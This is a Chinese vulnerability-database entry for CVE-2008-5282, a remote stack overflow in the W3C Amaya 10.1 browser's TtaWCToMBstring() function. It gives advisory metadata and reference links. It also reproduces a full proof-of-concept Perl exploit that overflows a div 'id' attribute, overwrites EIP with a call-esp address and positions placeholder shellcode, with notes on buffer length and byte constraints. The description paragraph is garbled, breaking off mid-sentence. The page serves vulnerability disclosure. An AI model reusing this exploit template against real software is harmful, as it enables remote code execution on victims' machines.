W3C Amaya TtaWCToMBstring()函数多个栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116814 漏洞类型 缓冲区溢出
发布时间 2008-11-24 更新时间 2009-01-30
CVE编号 CVE-2008-5282 CNNVD-ID CNNVD-200811-448
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/7213
https://www.securityfocus.com/bid/32442
https://cxsecurity.com/issue/WLB-2008120064
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200811-448
|漏洞详情
Amaya是W3C出品的所见即所得的网页编辑/浏览器。W3CAmaya的TtaWCToMBstring()函数存在多个栈溢出漏洞。Amaya浏览器的TtaWCToMBstring()函数没有正确地验证目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:http://www.w3.org/Amaya/来源:BID名称:32442链接:http://www.securityfocus.com/bid/32442来源:BUGTRAQ名称:20081124Amaya(id)RemoteStackOverflowVulnerability链接:http://www.securityfocus.com/archive/1/archive/1/498583/100/0/threaded来源:BUGTRAQ名称:20081124Amaya(URLBar)RemoteStackOverflowVulnerability链接:http://www.securityfocus.com/archive/1/archive/1/498578/100/0/threaded来源:VUPEN名称:ADV-2008-3255链接:http://www.frsirt.com/english/advisories/2008/3255来源:MISC链接:http://www.bmgsec.com.au/advisory/41/来源:MISC链接:http://www.bmgsec.com.au/advisory/40/来源:SREASON名称:4657链接:http://securityreason.com/securityalert/4657来源:SECUNIA名称:32848链接:http://secunia.com/advisories/32848来源:OSVDB名称:50283链接:http://osvdb.org/50283来源:OSVDB名称:50282链接:http://osvdb.org/50282暂无
|漏洞EXP
#            W3C Amaya 10.1 Web Browser
#
# Amaya (id) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/41/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The "id" variable of a tag contains a buffer overflow: 
# <div id=" 93*'A/' ">r0ut3r</div>
#
# The application will not overflow with normal alphanumeric characters. 
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is: 
# 91 * 2 = 182 + 4
#
# [junk] + [eip] +     [shellcode]
#  182   +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# "id" variable Proof of concept: 
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 350;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<div id="' .
                        'A/' x 91 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">test</div>';
print $data;

# milw0rm.com [2008-11-24]
|受影响的产品
W3C Amaya 10.1
|参考资料

来源:BID
名称:32442
链接:http://www.securityfocus.com/bid/32442
来源:BUGTRAQ
名称:20081124Amaya(id)RemoteStackOverflowVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/498583/100/0/threaded
来源:BUGTRAQ
名称:20081124Amaya(URLBar)RemoteStackOverflowVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/498578/100/0/threaded
来源:VUPEN
名称:ADV-2008-3255
链接:http://www.frsirt.com/english/advisories/2008/3255
来源:MISC
链接:http://www.bmgsec.com.au/advisory/41/
来源:MISC
链接:http://www.bmgsec.com.au/advisory/40/
来源:SREASON
名称:4657
链接:http://securityreason.com/securityalert/4657
来源:SECUNIA
名称:32848
链接:http://secunia.com/advisories/32848
来源:OSVDB
名称:50283
链接:http://osvdb.org/50283
来源:OSVDB
名称:50282
链接:http://osvdb.org/50282